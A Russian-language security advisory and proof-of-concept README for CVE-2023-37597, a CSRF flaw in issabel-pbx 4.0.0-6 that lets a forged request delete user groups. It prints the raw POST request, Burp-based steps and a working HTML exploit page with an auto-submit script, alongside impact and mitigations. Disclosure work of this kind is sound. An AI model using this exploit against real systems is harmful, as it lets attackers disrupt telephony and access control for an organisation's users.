
Issabel-pbx v 4.0.0-6 содержит уязвимость Cross-Site Request Forgery (CSRF) в функциональности управления группами пользователей.
Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
issabel-pbx — широко используемая открытая платформа унифицированных коммуникаций (PBX), предоставляющая VoIP-сервисы, управление телефонией и веб-администрирование. Версия 4.0.0-6 issabel-pbx содержит уязвимость Межсайтовой подделки запроса (CSRF) в функционале управления группами пользователей.
Неаутентифицированный удалённый злоумышленник может создать вредоносную HTML-страницу, которая при посещении её аутентифицированным администратором незаметно отправляет поддельный HTTP POST-запрос на удаление любой группы пользователей. Поскольку приложение не проверяет источник изменяющих состояние запросов с помощью CSRF-токенов или политик cookie SameSite, браузер автоматически включает сессионный cookie администратора, и удаление происходит без ведома и согласия жертвы.
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2023-37597 |
| Уязвимость | Межсайтовая подделка запроса (CSRF) |
| CWE | CWE-352 — Межсайтовая подделка запроса (CSRF) |
| Серьёзность | Средний |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Затронутая версия | issabel-pbx 4.0.0-6 |
| Дата раскрытия | 10 июля 2023 |
| Исследователь | Sahil Ojha |
| Поле | Значение |
|---|---|
| Название продукта | issabel-pbx |
| Версия | 4.0.0-6 |
| Производитель | Issabel Foundation |
| Сайт производителя | https://www.issabel.org/ |
| Исходный код | https://github.com/IssabelFoundation/issabelPBX |
| Протестировано на | Windows (Burp Suite Community Edition) |
Межсайтовая подделка запроса (CSRF) — это атака, которая заставляет браузер жертвы отправлять аутентифицированный запрос целевому приложению от имени злоумышленника. Атака успешна, когда:
Origin/Referer, нет атрибута cookie SameSite=Strict или SameSite=Lax).Конечная точка удаления группы пользователей (/index.php?menu=grouplist) в issabel-pbx 4.0.0-6 обрабатывает HTTP POST-запросы, содержащие только действие delete и параметр id_user. Приложение не:
Origin или Referer.SameSite для сессионных cookie.В результате любая веб-страница, загруженная в браузере жертвы, может незаметно отправить форму удаления, используя существующую сессию жертвы, поскольку браузер автоматически прикрепит сессионный cookie.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Предупреждение: Приведённый PoC предоставлен строго в образовательных целях. Используйте его только в лабораторных средах или в системах, на тестирование которых у вас есть явное разрешение.
Шаг 1 — Войдите в панель администратора Issabel
Перейдите на страницу списка групп пользователей и войдите с правами администратора.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

Шаг 2 — Перехватите запрос на удаление
Попробуйте удалить группу пользователей, пропуская трафик через Burp Suite. Щёлкните правой кнопкой мыши по перехваченному POST-запросу и выберите Engagement Tools → Generate CSRF PoC, чтобы сгенерировать HTML-заготовку эксплойта.

Шаг 3 — Разместите страницу эксплойта CSRF
Сохраните сгенерированный HTML как файл (см. Код эксплойта PoC ниже). Разместите его на сервере, контролируемом злоумышленником, или отправьте его напрямую жертве.
Шаг 4 — Жертва открывает страницу эксплойта
Когда аутентифицированный администратор открывает URL эксплойта или его перенаправляет на него, скрытая форма отправляется автоматически (или жертва нажимает кнопку-приманку). Целевая группа пользователей удаляется из панели администратора.


Следующий HTML-файл (также доступен как CSRF exploit.html) демонстрирует атаку. Замените {Issabel IP} на целевой хост и измените id_user на идентификатор группы, которую вы хотите удалить.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Вариант с автоматической отправкой: Чтобы жертве не приходилось ничего нажимать, добавьте следующее внутри тега
<body>, чтобы форма отправлялась автоматически при загрузке страницы:<script>document.forms[0].submit();</script>
| Аспект | Описание |
|---|---|
| Целостность | Злоумышленник может незаметно удалить любую группу пользователей из панели администратора Issabel. |
| Доступность | Удаление групп пользователей нарушает правила маршрутизации вызовов, контроль доступа и телефонию для всех пользователей, входящих в эти группы, что по сути является частичным отказом в обслуживании. |
| Конфиденциальность | Напрямую данной уязвимостью не затрагивается. |
Администраторам и разработчикам следует применить следующие меры защиты:
Внедрите CSRF-токены (паттерн синхронизирующего токена)
Установите атрибут cookie SameSite
SameSite=Lax (минимум) или SameSite=Strict, чтобы предотвратить передачу учётных данных сессии в межсайтовых запросах.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyПроверяйте заголовки Origin и Referer
Origin или Referer не соответствует домену самого приложения.Требуйте повторную аутентификацию для деструктивных действий
Применяйте эшелонированную защиту (Defense-in-Depth)
| Дата | Событие |
|---|---|
| 10 июля 2023 | Уязвимость обнаружена и задокументирована Sahil Ojha |
| 10 июля 2023 | Присвоен CVE-2023-37597 |
| 10 июля 2023 | Публичное раскрытие |
Sahil Ojha Исследователь безопасности
Если вы нашли это исследование полезным, не стесняйтесь поставить ⭐ репозиторию.